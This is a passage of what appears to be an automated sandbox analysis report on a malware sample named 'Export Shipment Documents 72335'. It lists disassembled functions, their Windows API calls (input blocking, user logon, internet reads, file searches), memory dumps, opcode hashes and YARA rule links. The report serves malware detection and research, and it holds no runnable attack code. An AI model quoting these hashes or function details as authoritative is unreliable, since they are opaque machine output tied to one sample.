                                                                                                                                                                                                          • GetFileAttributesW.KERNEL32(00000001,00000000), ref: 00436AEF
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(00000001,?), ref: 00436B00
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 00436B13
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FileFind$AttributesCloseFirst
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 48322524-0
                                                                                                                                                                                                          • Opcode ID: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                                          • Instruction ID: 417b6d6de692ea6945bae3bf725251b28653fd5bce93257cef0f58e2a105c1b1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 9dc85b775151a348b3ed896f2b5842869c214baa03f23a1e311506cc1954de59
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 23E02236804418678600AB7CAC0C4EE779CDB0A335F100B96FE38C21D0D775A9408FEA
                                                                                                                                                                                                          Function 00443390 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __time64.LIBCMT ref: 004433A2
                                                                                                                                                                                                            • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                                                                            • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                                                                          • String ID: rJ
                                                                                                                                                                                                          • API String ID: 2893107130-1865492326
                                                                                                                                                                                                          • Opcode ID: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                                                                          • Instruction ID: ebc1a5536eae3429eadb0b33e849de59894c076497330b79c1ff8485d89898ec
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e603e75d0767fd135478995c8e8d26e9f594f0c4df67822259ddb38eb763753e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B721A2336205108BF321CF36CC41652B7E7EBE0314F268A6AE4A5973C5CA797906CB98
                                                                                                                                                                                                          Function 00443391 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __time64.LIBCMT ref: 004433A2
                                                                                                                                                                                                            • Part of subcall function 00414CEF: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,004341DB,00000000,?,0044248A,?,?,?,0048B850), ref: 00414CFA
                                                                                                                                                                                                            • Part of subcall function 00414CEF: __aulldiv.LIBCMT ref: 00414D1A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Time$FileSystem__aulldiv__time64
                                                                                                                                                                                                          • String ID: rJ
                                                                                                                                                                                                          • API String ID: 2893107130-1865492326
                                                                                                                                                                                                          • Opcode ID: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                                                                          • Instruction ID: 4b4e0c3debee0a45c2bc781276f994e79ac96c452fb6cf924f1e6ade5adf298d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: e8e365b2ab883cc854990c78a2143569adcb81f7322f31e235de15ec19987b7e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: E82187336345108BF321CF36CC4165277E3EBE0314B258B6AD4A5973C5CA797906CB88
                                                                                                                                                                                                          Function 0044289D Relevance: 3.1, APIs: 2, Instructions: 82networkfileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • InternetQueryDataAvailable.WININET(?,?,?,?,00000000,00000000), ref: 004428C2
                                                                                                                                                                                                          • InternetReadFile.WININET(?,00000000,?,?), ref: 004428F9
                                                                                                                                                                                                            • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Internet$AvailableDataErrorFileLastQueryRead
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 901099227-0
                                                                                                                                                                                                          • Opcode ID: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                                                                          • Instruction ID: 2c15810e60b1cb59304632cc8162977c32d0240baa2dcf3c2cd6ef22f942a6bb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0771251b70b9bd68c35fac6f7da5b5f16004994504cb59d35d549d3fc14a9ba4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 452174B12043016BF220EF56DD45FAFB3E8ABD4715F40492EF285A6180D7B8E949C76A
                                                                                                                                                                                                          Function 0045DD7C Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045DDA1
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000), ref: 0045DDDD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Find$CloseFileFirst
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2295610775-0
                                                                                                                                                                                                          • Opcode ID: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                                                          • Instruction ID: 3577cc1601137e614a3334ffa73c6d258275d41fe8d72aaca367a27ef3e2a016
                                                                                                                                                                                                          • Opcode Fuzzy Hash: eac1d012b3ae473636f11b903683455954ec17c127a785734040b224e9a5f79e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DE11E5766002049FD710EF6ADC89A5AF7E5EF84325F10892EF958D7281CB75E8048B94
                                                                                                                                                                                                          Function 0047CBF0 Relevance: 2.9, Strings: 2, Instructions: 418COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: 0vH$HH
                                                                                                                                                                                                          • API String ID: 0-728391547
                                                                                                                                                                                                          • Opcode ID: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                                                                          • Instruction ID: 538a6706abcc28c04bdc151be30d2aa4e2083a8dfdfa6c30a7857f36827e6882
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 96d535d6e61c6cd6e5d21badf476ce2a2faa32e114d6f0ae27a3d334794412dd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 60E1BE725143109FC310EF25C881A9FB7E5AFC4708F108D2EF589AB281D779E946CB9A
                                                                                                                                                                                                          Function 0040F890 Relevance: 2.1, APIs: 1, Instructions: 589COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _memset
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2102423945-0
                                                                                                                                                                                                          • Opcode ID: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                                                                          • Instruction ID: fac722ae1e10b3ad9494cda40f9fb3e9e62b3c26aea04ddfc6562ea9d2065ebb
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b8def19716de174921965326585c8a0a0c2eba4d3f226f62ebfac136bfb84777
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C512B4B7B983194FDB48DEE4DCC169573E1FB98304F09A43C9A15C7306F6E8AA094794
                                                                                                                                                                                                          Function 0047E1FA Relevance: 2.0, APIs: 1, Instructions: 499COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,?,?,?,004A83D8,?), ref: 0047E22C
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Proc
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2346855178-0
                                                                                                                                                                                                          • Opcode ID: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                                                                          • Instruction ID: e1c03c818efbd3cbf3664a0c3e659178dbc9a05004c0f073233894ce1d713c90
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4f476b527310cd4595d6f2246be334f82b87c4d4a511bc9a4ae10ad49a3a576c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4EB1E63330602429E114916BBC88EBFBB9CD7D677BB208B7FF142C1582DB5B6425A179
                                                                                                                                                                                                          Function 0045A259 Relevance: 1.5, APIs: 1, Instructions: 21keyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • BlockInput.USER32(00000001), ref: 0045A272
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: BlockInput
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3456056419-0
                                                                                                                                                                                                          • Opcode ID: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                                                                          • Instruction ID: 5d782454ef4d0180448527013755d2523f66e5fc327f68786c1d80a86620ac83
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f8b7596c9daf0cf449ec099d4cdbafb4be693b9bdeaa48314d03f681346fce8b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D2E04F752043019BC700EF71C545A5BB7E4AF94314F108C6EF845A7351D775AC45CB66
                                                                                                                                                                                                          Function 0043916A Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • LogonUserW.ADVAPI32(?,?,?,?,00000000,?), ref: 0043918E
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: LogonUser
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1244722697-0
                                                                                                                                                                                                          • Opcode ID: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                                                          • Instruction ID: 63114e5cfb2c4979e73f5d19eacf740c811f86df1a08bc2cb556a5e36cce81ff
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 365ca9639b26e9c6c56151d88f527b1e4ffaee0f54dfd66c8778d151900be7f4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8DD0ECB52686066FD204CB24D846E2B77E9A7C4701F008A0CB196D2280C670D805CA32
                                                                                                                                                                                                          Function 004711D2 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: NameUser
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2645101109-0
                                                                                                                                                                                                          • Opcode ID: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                                                                          • Instruction ID: 8011c19b6c32d183c263453b2018abc548473ce9ed5616c99acac4896e71f792
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b783c70369e54a54257db95ea8fbffa2a0b511f3d9d58af1a6b6f1143851980f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: F6E08C322083058FC310EF55F8405ABB390EB94311F004C3FE64AA2191DA79920EDFAB
                                                                                                                                                                                                          Function 0042202E Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(Function_00021FEC), ref: 00422033
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3192549508-0
                                                                                                                                                                                                          • Opcode ID: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                                                          • Instruction ID: 3275b40964251646410af8875a24301f93fa315c26af6adae0ca3d0f7a721f84
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 299f58dbcf75cd09f1fee721c9404e411c3f17cf80a1a40ae63587de51767455
                                                                                                                                                                                                          • Instruction Fuzzy Hash: CD9002743511144A4A011BB16E5D90925D46A586067920875B411C4064DB9840019619
                                                                                                                                                                                                          Function 00412C38 Relevance: .4, Instructions: 384COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                                                          • Instruction ID: b3f199f19983f506b623bfe7955a95149e6efe4e98ce3416cc40fa12ddcf4508
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 46D19073C0A9B30A8735812D42582BFEE626FD578131EC3E29CD07F38AD26B5DA195D4
                                                                                                                                                                                                          Function 00412818 Relevance: .4, Instructions: 378COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                                                          • Instruction ID: c47bdb3f9c9e38c5d46ddb9e43dedaf70276048770aeb58bd274f21c588a824b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1CD19073D1A9B30A8735852D42581AFEE626FD578031EC3E2CCD07F38AD16B5DA191D4
                                                                                                                                                                                                          Function 0041240C Relevance: .4, Instructions: 361COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                                                          • Instruction ID: ac15b8da1a4b082d71a0b082c8349c97121379a14580263daf363e6ab8f75410
